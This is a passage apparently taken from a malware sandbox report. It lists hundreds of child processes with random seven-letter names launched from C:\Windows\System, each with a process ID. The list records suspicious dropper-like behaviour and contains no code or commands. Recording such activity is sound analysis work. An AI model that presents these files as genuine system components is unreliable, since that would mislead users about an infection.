  C:\Windows\System\Ogyenyg.exe
  2⤵
  PID:8812
- C:\Windows\System\vWYxAqC.exe
  C:\Windows\System\vWYxAqC.exe
  2⤵
  PID:8832
- C:\Windows\System\DKARFfS.exe
  C:\Windows\System\DKARFfS.exe
  2⤵
  PID:8856
- C:\Windows\System\PKWPVhc.exe
  C:\Windows\System\PKWPVhc.exe
  2⤵
  PID:8872
- C:\Windows\System\CONVjMM.exe
  C:\Windows\System\CONVjMM.exe
  2⤵
  PID:8896
- C:\Windows\System\syEnXmV.exe
  C:\Windows\System\syEnXmV.exe
  2⤵
  PID:8916
- C:\Windows\System\aXNCGKZ.exe
  C:\Windows\System\aXNCGKZ.exe
  2⤵
  PID:8940
- C:\Windows\System\CPmHJrC.exe
  C:\Windows\System\CPmHJrC.exe
  2⤵
  PID:8960
- C:\Windows\System\DewxdCV.exe
  C:\Windows\System\DewxdCV.exe
  2⤵
  PID:8988
- C:\Windows\System\BwxYjtE.exe
  C:\Windows\System\BwxYjtE.exe
  2⤵
  PID:9008
- C:\Windows\System\LquaThy.exe
  C:\Windows\System\LquaThy.exe
  2⤵
  PID:9028
- C:\Windows\System\EGPQQNb.exe
  C:\Windows\System\EGPQQNb.exe
  2⤵
  PID:9048
- C:\Windows\System\WZsekYW.exe
  C:\Windows\System\WZsekYW.exe
  2⤵
  PID:9068
- C:\Windows\System\iCFojHL.exe
  C:\Windows\System\iCFojHL.exe
  2⤵
  PID:9088
- C:\Windows\System\mMOBKAC.exe
  C:\Windows\System\mMOBKAC.exe
  2⤵
  PID:9112
- C:\Windows\System\CrOxAYb.exe
  C:\Windows\System\CrOxAYb.exe
  2⤵
  PID:9136
- C:\Windows\System\lkOtvID.exe
  C:\Windows\System\lkOtvID.exe
  2⤵
  PID:9156
- C:\Windows\System\JBEHYcn.exe
  C:\Windows\System\JBEHYcn.exe
  2⤵
  PID:9176
- C:\Windows\System\THtQxje.exe
  C:\Windows\System\THtQxje.exe
  2⤵
  PID:9200
- C:\Windows\System\yOOGjQM.exe
  C:\Windows\System\yOOGjQM.exe
  2⤵
  PID:6432
- C:\Windows\System\XLNUIpI.exe
  C:\Windows\System\XLNUIpI.exe
  2⤵
  PID:7060
- C:\Windows\System\pDGUDoA.exe
  C:\Windows\System\pDGUDoA.exe
  2⤵
  PID:7184
- C:\Windows\System\CGDKGCm.exe
  C:\Windows\System\CGDKGCm.exe
  2⤵
  PID:7516
- C:\Windows\System\KPbbico.exe
  C:\Windows\System\KPbbico.exe
  2⤵
  PID:7228
- C:\Windows\System\QPcOBEj.exe
  C:\Windows\System\QPcOBEj.exe
  2⤵
  PID:7260
- C:\Windows\System\lkRTKTp.exe
  C:\Windows\System\lkRTKTp.exe
  2⤵
  PID:8180
- C:\Windows\System\ZJKfpfR.exe
  C:\Windows\System\ZJKfpfR.exe
  2⤵
  PID:7752
- C:\Windows\System\IGCAwyc.exe
  C:\Windows\System\IGCAwyc.exe
  2⤵
  PID:7796
- C:\Windows\System\KzsZvrA.exe
  C:\Windows\System\KzsZvrA.exe
  2⤵
  PID:7504
- C:\Windows\System\FNQWmLi.exe
  C:\Windows\System\FNQWmLi.exe
  2⤵
  PID:7872
- C:\Windows\System\NKdkEMo.exe
  C:\Windows\System\NKdkEMo.exe
  2⤵
  PID:7880
- C:\Windows\System\JGxScSf.exe
  C:\Windows\System\JGxScSf.exe
  2⤵
  PID:8284
- C:\Windows\System\czdlplx.exe
  C:\Windows\System\czdlplx.exe
  2⤵
  PID:8304
- C:\Windows\System\TrzCssf.exe
  C:\Windows\System\TrzCssf.exe
  2⤵
  PID:8004
- C:\Windows\System\rEyemXs.exe
  C:\Windows\System\rEyemXs.exe
  2⤵
  PID:8040
- C:\Windows\System\aYPFAsf.exe
  C:\Windows\System\aYPFAsf.exe
  2⤵
  PID:8064
- C:\Windows\System\bRkbIPX.exe
  C:\Windows\System\bRkbIPX.exe
  2⤵
  PID:8460
- C:\Windows\System\gUhACzH.exe
  C:\Windows\System\gUhACzH.exe
  2⤵
  PID:7616
- C:\Windows\System\qmqXqVC.exe
  C:\Windows\System\qmqXqVC.exe
  2⤵
  PID:6728
- C:\Windows\System\mHroxDX.exe
  C:\Windows\System\mHroxDX.exe
  2⤵
  PID:6500
- C:\Windows\System\uluFzAN.exe
  C:\Windows\System\uluFzAN.exe
  2⤵
  PID:6136
- C:\Windows\System\jOqKBgl.exe
  C:\Windows\System\jOqKBgl.exe
  2⤵
  PID:8588
- C:\Windows\System\zzwoMyF.exe
  C:\Windows\System\zzwoMyF.exe
  2⤵
  PID:8608
- C:\Windows\System\mqUWwuN.exe
  C:\Windows\System\mqUWwuN.exe
  2⤵
  PID:9236
- C:\Windows\System\HlQZukH.exe
  C:\Windows\System\HlQZukH.exe
  2⤵
  PID:9260
- C:\Windows\System\sraIbyt.exe
  C:\Windows\System\sraIbyt.exe
  2⤵
  PID:9276
- C:\Windows\System\xedvCPw.exe
  C:\Windows\System\xedvCPw.exe
  2⤵
  PID:9296
- C:\Windows\System\VqjoeyM.exe
  C:\Windows\System\VqjoeyM.exe
  2⤵
  PID:9320
- C:\Windows\System\nWrbEUs.exe
  C:\Windows\System\nWrbEUs.exe
  2⤵
  PID:9336
- C:\Windows\System\lqULevZ.exe
  C:\Windows\System\lqULevZ.exe
  2⤵
  PID:9396
- C:\Windows\System\VvYGjNF.exe
  C:\Windows\System\VvYGjNF.exe
  2⤵
  PID:9412
- C:\Windows\System\qUHMMHd.exe
  C:\Windows\System\qUHMMHd.exe
  2⤵
  PID:9432
- C:\Windows\System\EDKrLbY.exe
  C:\Windows\System\EDKrLbY.exe
  2⤵
  PID:9456
- C:\Windows\System\DyQmWwf.exe
  C:\Windows\System\DyQmWwf.exe
  2⤵
  PID:9484
- C:\Windows\System\StsBxyR.exe
  C:\Windows\System\StsBxyR.exe
  2⤵
  PID:9504
- C:\Windows\System\zynHFQA.exe
  C:\Windows\System\zynHFQA.exe
  2⤵
  PID:9524
- C:\Windows\System\FUfFvWI.exe
  C:\Windows\System\FUfFvWI.exe
  2⤵
  PID:9544
- C:\Windows\System\sJRvsDZ.exe
  C:\Windows\System\sJRvsDZ.exe
  2⤵
  PID:9560
- C:\Windows\System\oNdpDJi.exe
  C:\Windows\System\oNdpDJi.exe
  2⤵
  PID:9584
- C:\Windows\System\UzoOvBg.exe
  C:\Windows\System\UzoOvBg.exe
  2⤵
  PID:9604
- C:\Windows\System\bCZNbEK.exe
  C:\Windows\System\bCZNbEK.exe
  2⤵
  PID:9620
- C:\Windows\System\MkOJudp.exe
  C:\Windows\System\MkOJudp.exe
  2⤵
  PID:9988
- C:\Windows\System\CAjVcIR.exe
  C:\Windows\System\CAjVcIR.exe
  2⤵
  PID:10008
- C:\Windows\System\bgnJLtN.exe
  C:\Windows\System\bgnJLtN.exe
  2⤵
  PID:10032
- C:\Windows\System\CvBVjYL.exe
  C:\Windows\System\CvBVjYL.exe
  2⤵
  PID:10052
- C:\Windows\System\WGvrbPZ.exe
  C:\Windows\System\WGvrbPZ.exe
  2⤵
  PID:10076
- C:\Windows\System\FyCCdQZ.exe
  C:\Windows\System\FyCCdQZ.exe
  2⤵
  PID:10092
- C:\Windows\System\DxSsGrJ.exe
  C:\Windows\System\DxSsGrJ.exe
  2⤵
  PID:10120
- C:\Windows\System\AnyiVfE.exe
  C:\Windows\System\AnyiVfE.exe
  2⤵
  PID:10140
- C:\Windows\System\rDDmpIG.exe
  C:\Windows\System\rDDmpIG.exe
  2⤵
  PID:10156
- C:\Windows\System\XNmNfzL.exe
  C:\Windows\System\XNmNfzL.exe
  2⤵
  PID:10176
- C:\Windows\System\wGoZngz.exe
  C:\Windows\System\wGoZngz.exe
  2⤵
  PID:10200
- C:\Windows\System\UgIhQVv.exe
  C:\Windows\System\UgIhQVv.exe
  2⤵
  PID:10216
- C:\Windows\System\GFECisu.exe
  C:\Windows\System\GFECisu.exe
  2⤵
  PID:7404
- C:\Windows\System\KwyCUdY.exe
  C:\Windows\System\KwyCUdY.exe
  2⤵
  PID:8824
- C:\Windows\System\AohrjIM.exe
  C:\Windows\System\AohrjIM.exe
  2⤵
  PID:8252
- C:\Windows\System\cDpSEmN.exe
  C:\Windows\System\cDpSEmN.exe
  2⤵
  PID:8912
- C:\Windows\System\sXjRxgw.exe
  C:\Windows\System\sXjRxgw.exe
  2⤵
  PID:8340
- C:\Windows\System\GxwkEFm.exe
  C:\Windows\System\GxwkEFm.exe
  2⤵
  PID:9056
- C:\Windows\System\rEUjfyt.exe
  C:\Windows\System\rEUjfyt.exe
  2⤵
  PID:9144
- C:\Windows\System\DzMIqNv.exe
  C:\Windows\System\DzMIqNv.exe
  2⤵
  PID:7764
- C:\Windows\System\XnTDCFh.exe
  C:\Windows\System\XnTDCFh.exe
  2⤵
  PID:7428
- C:\Windows\System\jrjRwaC.exe
  C:\Windows\System\jrjRwaC.exe
  2⤵
  PID:8020
- C:\Windows\System\FgmlbcH.exe
  C:\Windows\System\FgmlbcH.exe
  2⤵
  PID:6436
- C:\Windows\System\DKekBek.exe
  C:\Windows\System\DKekBek.exe
  2⤵
  PID:9832
- C:\Windows\System\LcRnLFZ.exe
  C:\Windows\System\LcRnLFZ.exe
  2⤵
  PID:9304
- C:\Windows\System\dyGramg.exe
  C:\Windows\System\dyGramg.exe
  2⤵
  PID:7276
- C:\Windows\System\nWJEcIV.exe
  C:\Windows\System\nWJEcIV.exe
  2⤵
  PID:9408
- C:\Windows\System\WUnWyBI.exe
  C:\Windows\System\WUnWyBI.exe
  2⤵
  PID:9448
- C:\Windows\System\nmOyfUz.exe
  C:\Windows\System\nmOyfUz.exe
  2⤵
  PID:9496
- C:\Windows\System\gsPtFnB.exe
  C:\Windows\System\gsPtFnB.exe
  2⤵
  PID:9532
- C:\Windows\System\FIWMPvr.exe
  C:\Windows\System\FIWMPvr.exe
  2⤵
  PID:7832
- C:\Windows\System\mqMeOpD.exe
  C:\Windows\System\mqMeOpD.exe
  2⤵
  PID:8908
- C:\Windows\System\dhmKTVG.exe
  C:\Windows\System\dhmKTVG.exe
  2⤵
  PID:9796
- C:\Windows\System\syjaSSR.exe
  C:\Windows\System\syjaSSR.exe
  2⤵
  PID:7244
- C:\Windows\System\RAYqTPG.exe
  C:\Windows\System\RAYqTPG.exe
  2⤵
  PID:10244
- C:\Windows\System\PAVKJTr.exe
  C:\Windows\System\PAVKJTr.exe
  2⤵
  PID:10272
- C:\Windows\System\JpzunjH.exe
  C:\Windows\System\JpzunjH.exe
  2⤵
  PID:10292
- C:\Windows\System\cTltqje.exe
  C:\Windows\System\cTltqje.exe
  2⤵
  PID:10312
- C:\Windows\System\ivpBevI.exe
  C:\Windows\System\ivpBevI.exe
  2⤵
  PID:10332
- C:\Windows\System\tcgdXin.exe
  C:\Windows\System\tcgdXin.exe
  2⤵
  PID:10356
- C:\Windows\System\nvGBQFr.exe
  C:\Windows\System\nvGBQFr.exe
  2⤵
  PID:10376
- C:\Windows\System\llrYuTu.exe
  C:\Windows\System\llrYuTu.exe
  2⤵
  PID:10408
- C:\Windows\System\fsPgDTX.exe
  C:\Windows\System\fsPgDTX.exe
  2⤵
  PID:10436
- C:\Windows\System\gvCtUEU.exe
  C:\Windows\System\gvCtUEU.exe
  2⤵
  PID:10460
- C:\Windows\System\sWcsKnv.exe
  C:\Windows\System\sWcsKnv.exe
  2⤵
  PID:10480
- C:\Windows\System\wpHdaPA.exe
  C:\Windows\System\wpHdaPA.exe
  2⤵
  PID:10500
- C:\Windows\System\NpDbyLX.exe
  C:\Windows\System\NpDbyLX.exe
  2⤵
  PID:10528
- C:\Windows\System\rkxyOFQ.exe
  C:\Windows\System\rkxyOFQ.exe
  2⤵
  PID:10548
- C:\Windows\System\rQsOLYL.exe
  C:\Windows\System\rQsOLYL.exe
  2⤵
  PID:10572
- C:\Windows\System\pumSxEz.exe
  C:\Windows\System\pumSxEz.exe
  2⤵
  PID:10592
- C:\Windows\System\LnIPMMu.exe
  C:\Windows\System\LnIPMMu.exe
  2⤵
  PID:10612
- C:\Windows\System\czPgPQW.exe
  C:\Windows\System\czPgPQW.exe
  2⤵
  PID:10636
- C:\Windows\System\pVcMoXd.exe
  C:\Windows\System\pVcMoXd.exe
  2⤵
  PID:10656
- C:\Windows\System\tBqWqnE.exe
  C:\Windows\System\tBqWqnE.exe
  2⤵
  PID:10672
- C:\Windows\System\ZYOXafH.exe
  C:\Windows\System\ZYOXafH.exe
  2⤵
  PID:10688
- C:\Windows\System\tSavawc.exe
  C:\Windows\System\tSavawc.exe
  2⤵
  PID:10704
- C:\Windows\System\ARlbDov.exe
  C:\Windows\System\ARlbDov.exe
  2⤵
  PID:10720
- C:\Windows\System\XpVXgMs.exe
  C:\Windows\System\XpVXgMs.exe
  2⤵
  PID:10744
- C:\Windows\System\OGTzSTg.exe
  C:\Windows\System\OGTzSTg.exe
  2⤵
  PID:10760
- C:\Windows\System\ZuScbQS.exe
  C:\Windows\System\ZuScbQS.exe
  2⤵
  PID:10776
- C:\Windows\System\LelFqgC.exe
  C:\Windows\System\LelFqgC.exe
  2⤵
  PID:10800
- C:\Windows\System\tcSLhez.exe
  C:\Windows\System\tcSLhez.exe
  2⤵
  PID:10860
- C:\Windows\System\ThJKhcs.exe
  C:\Windows\System\ThJKhcs.exe
  2⤵
  PID:10888
- C:\Windows\System\KPWAChD.exe
  C:\Windows\System\KPWAChD.exe
  2⤵
  PID:10908
- C:\Windows\System\dgHKdoK.exe
  C:\Windows\System\dgHKdoK.exe
  2⤵
  PID:10932
- C:\Windows\System\urEmMWm.exe
  C:\Windows\System\urEmMWm.exe
  2⤵
  PID:10948
- C:\Windows\System\BHOtJPl.exe
  C:\Windows\System\BHOtJPl.exe
  2⤵
  PID:10968
- C:\Windows\System\IayYfZA.exe
  C:\Windows\System\IayYfZA.exe
  2⤵
  PID:10996
- C:\Windows\System\rlQkWQC.exe
  C:\Windows\System\rlQkWQC.exe
  2⤵
  PID:11016
- C:\Windows\System\pjOYiLK.exe
  C:\Windows\System\pjOYiLK.exe
  2⤵
  PID:11036
- C:\Windows\System\cSnzBaj.exe
  C:\Windows\System\cSnzBaj.exe
  2⤵
  PID:11060
- C:\Windows\System\iVATpPz.exe
  C:\Windows\System\iVATpPz.exe
  2⤵
  PID:11260
- C:\Windows\System\CQmRHNN.exe
  C:\Windows\System\CQmRHNN.exe
  2⤵
  PID:8668
- C:\Windows\System\BVkfvbg.exe
  C:\Windows\System\BVkfvbg.exe
  2⤵
  PID:10004
- C:\Windows\System\YAFHawK.exe
  C:\Windows\System\YAFHawK.exe
  2⤵
  PID:9556
- C:\Windows\System\zawuAGq.exe
  C:\Windows\System\zawuAGq.exe
  2⤵
  PID:10132
- C:\Windows\System\coMbASk.exe
  C:\Windows\System\coMbASk.exe
  2⤵
  PID:10224
- C:\Windows\System\UOtMwzM.exe
  C:\Windows\System\UOtMwzM.exe
  2⤵
  PID:9040
- C:\Windows\System\tZuugnw.exe
  C:\Windows\System\tZuugnw.exe
  2⤵
  PID:9020
- C:\Windows\System\mXjkIpY.exe
  C:\Windows\System\mXjkIpY.exe
  2⤵
  PID:7532
- C:\Windows\System\plZrQCy.exe
  C:\Windows\System\plZrQCy.exe
  2⤵
  PID:10624
- C:\Windows\System\yhXBRKZ.exe
  C:\Windows\System\yhXBRKZ.exe
  2⤵
  PID:10768
- C:\Windows\System\ueFrXpn.exe
  C:\Windows\System\ueFrXpn.exe
  2⤵
  PID:9208
- C:\Windows\System\YydMJgR.exe
  C:\Windows\System\YydMJgR.exe
  2⤵
  PID:7876
- C:\Windows\System\BzTaTvr.exe
  C:\Windows\System\BzTaTvr.exe
  2⤵
  PID:9864
- C:\Windows\System\WsnYIUL.exe
  C:\Windows\System\WsnYIUL.exe
  2⤵
  PID:9956
- C:\Windows\System\xgowVMx.exe
  C:\Windows\System\xgowVMx.exe
  2⤵
  PID:10116
- C:\Windows\System\FXxghvo.exe
  C:\Windows\System\FXxghvo.exe
  2⤵
  PID:10208
- C:\Windows\System\IJTvtBp.exe
  C:\Windows\System\IJTvtBp.exe
  2⤵
  PID:10384
- C:\Windows\System\FrIWJDK.exe
  C:\Windows\System\FrIWJDK.exe
  2⤵
  PID:10444
- C:\Windows\System\aoSzduI.exe
  C:\Windows\System\aoSzduI.exe
  2⤵
  PID:316
- C:\Windows\System\zVeKgPH.exe
  C:\Windows\System\zVeKgPH.exe
  2⤵
  PID:8240
- C:\Windows\System\StNgaqo.exe
  C:\Windows\System\StNgaqo.exe
  2⤵
  PID:8500
- C:\Windows\System\SrrguJf.exe
  C:\Windows\System\SrrguJf.exe
  2⤵
  PID:10680
- C:\Windows\System\WMretoF.exe
  C:\Windows\System\WMretoF.exe
  2⤵
  PID:9000
- C:\Windows\System\HguGsgq.exe
  C:\Windows\System\HguGsgq.exe
  2⤵
  PID:1608
- C:\Windows\System\rZiEEts.exe
  C:\Windows\System\rZiEEts.exe
  2⤵
  PID:11280
- C:\Windows\System\TcjqnkZ.exe
  C:\Windows\System\TcjqnkZ.exe
  2⤵
  PID:11312
- C:\Windows\System\tTiivWS.exe
  C:\Windows\System\tTiivWS.exe
  2⤵
  PID:11336
- C:\Windows\System\MtgAVCf.exe
  C:\Windows\System\MtgAVCf.exe
  2⤵
  PID:11352
- C:\Windows\System\jNNkoTP.exe
  C:\Windows\System\jNNkoTP.exe
  2⤵
  PID:11380
- C:\Windows\System\TGjWjBq.exe
  C:\Windows\System\TGjWjBq.exe
  2⤵
  PID:11408
- C:\Windows\System\nLtkGhN.exe
  C:\Windows\System\nLtkGhN.exe
  2⤵
  PID:11432
- C:\Windows\System\POuVoOe.exe
  C:\Windows\System\POuVoOe.exe
  2⤵
  PID:11460
- C:\Windows\System\QWinOJU.exe
  C:\Windows\System\QWinOJU.exe
  2⤵
  PID:11480
- C:\Windows\System\paSruWl.exe
  C:\Windows\System\paSruWl.exe
  2⤵
  PID:11500
- C:\Windows\System\jQDdOeA.exe
  C:\Windows\System\jQDdOeA.exe
  2⤵
  PID:11528
- C:\Windows\System\tRiKLKN.exe
  C:\Windows\System\tRiKLKN.exe
  2⤵
  PID:11548
- C:\Windows\System\aMwBxNp.exe
  C:\Windows\System\aMwBxNp.exe
  2⤵
  PID:11564
- C:\Windows\System\kIvMtmF.exe
  C:\Windows\System\kIvMtmF.exe
  2⤵
  PID:11592
- C:\Windows\System\gPQvLQq.exe
  C:\Windows\System\gPQvLQq.exe
  2⤵
  PID:11608
- C:\Windows\System\BdkaBlB.exe
  C:\Windows\System\BdkaBlB.exe
  2⤵
  PID:11632
- C:\Windows\System\lZxclXC.exe
  C:\Windows\System\lZxclXC.exe
  2⤵
  PID:11652
- C:\Windows\System\CRUHUZq.exe
  C:\Windows\System\CRUHUZq.exe
  2⤵
  PID:11788
- C:\Windows\System\EwaXidN.exe
  C:\Windows\System\EwaXidN.exe
  2⤵
  PID:11808
- C:\Windows\System\soHyKSP.exe
  C:\Windows\System\soHyKSP.exe
  2⤵
  PID:11824
- C:\Windows\System\uKplQuA.exe
  C:\Windows\System\uKplQuA.exe
  2⤵
  PID:11876
- C:\Windows\System\ngpDeIs.exe
  C:\Windows\System\ngpDeIs.exe
  2⤵
  PID:11892
- C:\Windows\System\hHPElHZ.exe
  C:\Windows\System\hHPElHZ.exe
  2⤵
  PID:12212
- C:\Windows\System\GeLaLJo.exe
  C:\Windows\System\GeLaLJo.exe
  2⤵
  PID:12236
- C:\Windows\System\VgZeNnZ.exe
  C:\Windows\System\VgZeNnZ.exe
  2⤵
  PID:12252
- C:\Windows\System\hIzBKGI.exe
  C:\Windows\System\hIzBKGI.exe
  2⤵
  PID:12284
- C:\Windows\System\NLvQNxq.exe
  C:\Windows\System\NLvQNxq.exe
  2⤵
  PID:9896
- C:\Windows\System\HfANTbC.exe
  C:\Windows\System\HfANTbC.exe
  2⤵
  PID:10044
- C:\Windows\System\GcHPDSH.exe
  C:\Windows\System\GcHPDSH.exe
  2⤵
  PID:11180
- C:\Windows\System\IAOrYsh.exe
  C:\Windows\System\IAOrYsh.exe
  2⤵
  PID:11004
- C:\Windows\System\SeIWzTc.exe
  C:\Windows\System\SeIWzTc.exe
  2⤵
  PID:10492
- C:\Windows\System\JekdHBY.exe
  C:\Windows\System\JekdHBY.exe
  2⤵
  PID:11360
- C:\Windows\System\JsLAsdh.exe
  C:\Windows\System\JsLAsdh.exe
  2⤵
  PID:11404
- C:\Windows\System\xRfqeIC.exe
  C:\Windows\System\xRfqeIC.exe
  2⤵
  PID:11440
- C:\Windows\System\BhkiDrK.exe
  C:\Windows\System\BhkiDrK.exe
  2⤵
  PID:9552
- C:\Windows\System\ERbdUXL.exe
  C:\Windows\System\ERbdUXL.exe
  2⤵
  PID:10348
- C:\Windows\System\nSekmak.exe
  C:\Windows\System\nSekmak.exe
  2⤵
  PID:10476
- C:\Windows\System\zPPHHAV.exe
  C:\Windows\System\zPPHHAV.exe
  2⤵
  PID:11644
- C:\Windows\System\lmWSetz.exe
  C:\Windows\System\lmWSetz.exe
  2⤵
  PID:11332
- C:\Windows\System\MakjYHW.exe
  C:\Windows\System\MakjYHW.exe
  2⤵
  PID:11324
- C:\Windows\System\mFgOWUB.exe
  C:\Windows\System\mFgOWUB.exe
  2⤵
  PID:11468
- C:\Windows\System\LLbwajV.exe
  C:\Windows\System\LLbwajV.exe
  2⤵
  PID:11496
- C:\Windows\System\nHXKZxS.exe
  C:\Windows\System\nHXKZxS.exe
  2⤵
  PID:11540
- C:\Windows\System\RUEsEJP.exe
  C:\Windows\System\RUEsEJP.exe
  2⤵
  PID:11604
- C:\Windows\System\CBnwkNa.exe
  C:\Windows\System\CBnwkNa.exe
  2⤵
  PID:11800
- C:\Windows\System\xpALykC.exe
  C:\Windows\System\xpALykC.exe
  2⤵
  PID:11696
- C:\Windows\System\THcwxeI.exe
  C:\Windows\System\THcwxeI.exe
  2⤵
  PID:11728
- C:\Windows\System\ihSaqvm.exe
  C:\Windows\System\ihSaqvm.exe
  2⤵
  PID:11772
- C:\Windows\System\ciaeQTm.exe
  C:\Windows\System\ciaeQTm.exe
  2⤵
  PID:11848
- C:\Windows\System\XSASNkI.exe
  C:\Windows\System\XSASNkI.exe
  2⤵
  PID:11888
- C:\Windows\System\MbmrgXw.exe
  C:\Windows\System\MbmrgXw.exe
  2⤵
  PID:11932
- C:\Windows\System\TprclFg.exe
  C:\Windows\System\TprclFg.exe
  2⤵
  PID:11964
- C:\Windows\System\MadUjcl.exe
  C:\Windows\System\MadUjcl.exe
  2⤵
  PID:12188
- C:\Windows\System\DRMTckP.exe
  C:\Windows\System\DRMTckP.exe
  2⤵
  PID:12108
- C:\Windows\System\KmPxKQb.exe
  C:\Windows\System\KmPxKQb.exe
  2⤵
  PID:6940
- C:\Windows\System\uKJWIIM.exe
  C:\Windows\System\uKJWIIM.exe
  2⤵
  PID:12248
- C:\Windows\System\TyJMvmu.exe
  C:\Windows\System\TyJMvmu.exe
  2⤵
  PID:10752
- C:\Windows\System\pzvaWXP.exe
  C:\Windows\System\pzvaWXP.exe
  2⤵
  PID:4720
- C:\Windows\System\PnwqInx.exe
  C:\Windows\System\PnwqInx.exe
  2⤵
  PID:11288
- C:\Windows\System\nfUfzok.exe
  C:\Windows\System\nfUfzok.exe
  2⤵
  PID:11276
- C:\Windows\System\JDWdUcU.exe
  C:\Windows\System\JDWdUcU.exe
  2⤵
  PID:10424
- C:\Windows\System\OfbAgRq.exe
  C:\Windows\System\OfbAgRq.exe
  2⤵
  PID:11424
- C:\Windows\System\YWHMeyf.exe
  C:\Windows\System\YWHMeyf.exe
  2⤵
  PID:11372
- C:\Windows\System\cotOtKF.exe
  C:\Windows\System\cotOtKF.exe
  2⤵
  PID:11556
- C:\Windows\System\Uejiurv.exe
  C:\Windows\System\Uejiurv.exe
  2⤵
  PID:11628
- C:\Windows\System\zhJiyyN.exe
  C:\Windows\System\zhJiyyN.exe
  2⤵
  PID:11968
- C:\Windows\System\qdgckYU.exe
  C:\Windows\System\qdgckYU.exe
  2⤵
  PID:12300
- C:\Windows\System\ECzziQR.exe
  C:\Windows\System\ECzziQR.exe
  2⤵
  PID:12316
- C:\Windows\System\fnwyoSq.exe
  C:\Windows\System\fnwyoSq.exe
  2⤵
  PID:12340
- C:\Windows\System\ZAisQRD.exe
  C:\Windows\System\ZAisQRD.exe
  2⤵
  PID:12356
- C:\Windows\System\lGfaxYW.exe
  C:\Windows\System\lGfaxYW.exe
  2⤵
  PID:12376
- C:\Windows\System\OyxcgGg.exe
  C:\Windows\System\OyxcgGg.exe
  2⤵
  PID:12396
- C:\Windows\System\gtKzpnk.exe
  C:\Windows\System\gtKzpnk.exe
  2⤵
  PID:12428
- C:\Windows\System\lJzKcMw.exe
  C:\Windows\System\lJzKcMw.exe
  2⤵
  PID:12452
- C:\Windows\System\tNCferz.exe
  C:\Windows\System\tNCferz.exe
  2⤵
  PID:12468
- C:\Windows\System\knVlVmv.exe
  C:\Windows\System\knVlVmv.exe
  2⤵
  PID:12484
- C:\Windows\System\IYlFqoX.exe
  C:\Windows\System\IYlFqoX.exe
  2⤵
  PID:12500
- C:\Windows\System\GWanNgj.exe
  C:\Windows\System\GWanNgj.exe
  2⤵
  PID:12516
- C:\Windows\System\cKjfSZP.exe
  C:\Windows\System\cKjfSZP.exe
  2⤵
  PID:12536
- C:\Windows\System\GQFhqyx.exe
  C:\Windows\System\GQFhqyx.exe
  2⤵
  PID:12552
- C:\Windows\System\GjHAzNm.exe
  C:\Windows\System\GjHAzNm.exe
  2⤵
  PID:12576
- C:\Windows\System\XykrZyB.exe
  C:\Windows\System\XykrZyB.exe
  2⤵
  PID:12596
- C:\Windows\System\vCyrpEa.exe
  C:\Windows\System\vCyrpEa.exe
  2⤵
  PID:12620
- C:\Windows\System\jpyWaqJ.exe
  C:\Windows\System\jpyWaqJ.exe
  2⤵
  PID:12640
- C:\Windows\System\zKrsnRU.exe
  C:\Windows\System\zKrsnRU.exe
  2⤵
  PID:12656
- C:\Windows\System\zjjhWfu.exe
  C:\Windows\System\zjjhWfu.exe
  2⤵
  PID:12676
- C:\Windows\System\mNVZobz.exe
  C:\Windows\System\mNVZobz.exe
  2⤵
  PID:12696
- C:\Windows\System\IUTsLqU.exe
  C:\Windows\System\IUTsLqU.exe
  2⤵
  PID:12716
- C:\Windows\System\znFSPjp.exe
  C:\Windows\System\znFSPjp.exe
  2⤵
  PID:12732
- C:\Windows\System\wxXhPxD.exe
  C:\Windows\System\wxXhPxD.exe
  2⤵
  PID:12752
- C:\Windows\System\GYOyfEi.exe
  C:\Windows\System\GYOyfEi.exe
  2⤵
  PID:12772
- C:\Windows\System\AMiLIFk.exe
  C:\Windows\System\AMiLIFk.exe
  2⤵
  PID:12788
- C:\Windows\System\RlDnmLw.exe
  C:\Windows\System\RlDnmLw.exe
  2⤵
  PID:12808
- C:\Windows\System\BLyIARF.exe
  C:\Windows\System\BLyIARF.exe
  2⤵
  PID:12828
- C:\Windows\System\iuMSfPs.exe
  C:\Windows\System\iuMSfPs.exe
  2⤵
  PID:12848
- C:\Windows\System\pmMSPKk.exe
  C:\Windows\System\pmMSPKk.exe
  2⤵
  PID:12868
- C:\Windows\System\nZATUcl.exe
  C:\Windows\System\nZATUcl.exe
  2⤵
  PID:12892
- C:\Windows\System\SAIJjaB.exe
  C:\Windows\System\SAIJjaB.exe
  2⤵
  PID:12916
- C:\Windows\System\okqoqtA.exe
  C:\Windows\System\okqoqtA.exe
  2⤵
  PID:12936
- C:\Windows\System\vcMvhAv.exe
  C:\Windows\System\vcMvhAv.exe
  2⤵
  PID:12952
- C:\Windows\System\ZKmDGrR.exe
  C:\Windows\System\ZKmDGrR.exe
  2⤵
  PID:12972
- C:\Windows\System\QwjfEYl.exe
  C:\Windows\System\QwjfEYl.exe
  2⤵
  PID:12996
- C:\Windows\System\Xrjwqoc.exe
  C:\Windows\System\Xrjwqoc.exe
  2⤵
  PID:13020
- C:\Windows\System\PlyaBPg.exe
  C:\Windows\System\PlyaBPg.exe
  2⤵
  PID:13040
- C:\Windows\System\muSEdCD.exe
  C:\Windows\System\muSEdCD.exe
  2⤵
  PID:13064
- C:\Windows\System\VkFRfkG.exe
  C:\Windows\System\VkFRfkG.exe
  2⤵
  PID:13092
- C:\Windows\System\FuQfZhI.exe
  C:\Windows\System\FuQfZhI.exe
  2⤵
  PID:13112
- C:\Windows\System\OrPXWiC.exe
  C:\Windows\System\OrPXWiC.exe
  2⤵
  PID:13128
- C:\Windows\System\FwzHHTn.exe
  C:\Windows\System\FwzHHTn.exe
  2⤵
  PID:13152
- C:\Windows\System\ozjHkyd.exe
  C:\Windows\System\ozjHkyd.exe
  2⤵
  PID:13172
- C:\Windows\System\JsTRLSc.exe
  C:\Windows\System\JsTRLSc.exe
  2⤵
  PID:13188
- C:\Windows\System\uqDyKuw.exe
  C:\Windows\System\uqDyKuw.exe
  2⤵
  PID:13212
- C:\Windows\System\GDPXEFP.exe
  C:\Windows\System\GDPXEFP.exe
  2⤵
  PID:13236
- C:\Windows\System\NavObFm.exe
  C:\Windows\System\NavObFm.exe
  2⤵
  PID:13256
- C:\Windows\System\FdDYNPG.exe
  C:\Windows\System\FdDYNPG.exe
  2⤵
  PID:13284
- C:\Windows\System\YAjaVwl.exe
  C:\Windows\System\YAjaVwl.exe
  2⤵
  PID:13304
- C:\Windows\System\nrclNGq.exe
  C:\Windows\System\nrclNGq.exe
  2⤵
  PID:11948
- C:\Windows\System\bqMwJlX.exe
  C:\Windows\System\bqMwJlX.exe
  2⤵
  PID:12208
- C:\Windows\System\sVgxuuQ.exe
  C:\Windows\System\sVgxuuQ.exe
  2⤵
  PID:11420
- C:\Windows\System\ZaankTL.exe
  C:\Windows\System\ZaankTL.exe
